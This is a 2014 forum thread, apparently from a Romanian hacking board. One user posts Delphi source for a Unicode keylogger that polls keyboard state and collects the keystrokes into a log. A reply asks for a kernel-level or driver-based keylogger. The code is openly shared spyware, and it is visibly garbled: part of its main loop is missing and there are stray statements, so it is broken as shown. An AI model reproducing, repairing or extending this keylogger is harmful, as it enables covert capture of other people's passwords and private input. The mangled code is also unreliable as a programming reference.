Cartman. Posted June 27, 2014 Report Posted June 27, 2014 (edited) unit UnitKeyLogger;interfaceuses Windows,Classes;type TUnicodeKeylogger = class(TThread) private { Private declarations } public FActiveBackSpace:Boolean; FullLogData : String; function IsKeyPressed(KeyCode: Integer): Boolean; procedure AddKey(StrKey: String); protected procedure Execute; override; end;implementationprocedure TUnicodeKeylogger.AddKey(StrKey: String);begin FullLogData := FullLogData + StrKey; Write(StrKey);end;function TUnicodeKeylogger.IsKeyPressed(KeyCode: Integer): Boolean;begin result := (Windows.GetAsyncKeyState(KeyCode) and $8001) = $8001;end;procedure TUnicodeKeylogger.Execute;var VirtKey : UINT; ScanCode : UINT; UniEx : Integer; keyboardLayout : HKL; keyboardSpeed : Integer; keyboardState : TKeyboardState; strBuffer : String; UnicodeChar : array[0..1] of WChar; strkeyname : Array[0..32] of Char; dwThread : DWORD; dwProcess : DWORD; dwHandle : HWND;BEGIN Windows.SystemParametersInfo(Windows.SPI_GETKEYBOARDSPEED, 0, @UnicodeChar, 2, 0, keyboardLayout); strBuffer := UnicodeChar; SetLength(strBuffer,UniEx); AddKey(strBuffer); END; Sleep(keyboardSpeed DIV 4); END;END;END.program Lib;{$APPTYPE CONSOLE}uses Windows, UnitKeyLogger in 'UnitKeyLogger.pas';VAR Msg : TMsg; Keylogger:TUnicodeKeylogger ; LangID : Cardinal;begin { TODO -oUser -cConsole Main : Insert code here } LangID:=Windows.GetUserDefaultLangID; Windows.SetThreadLocale(LangID); Keylogger:=TUnicodeKeylogger.Create(False); Keylogger.Resume; While Windows.GetMessage(Msg,0,0,0) Do Begin Windows.TranslateMessage(Msg); Windows.DispatchMessageA(Msg); End;end. Edited June 27, 2014 by Cartman. Quote
Ganav Posted June 27, 2014 Report Posted June 27, 2014 Frumos, acum posteaza un kernel level keylogger sau chiar si unul driver based. Quote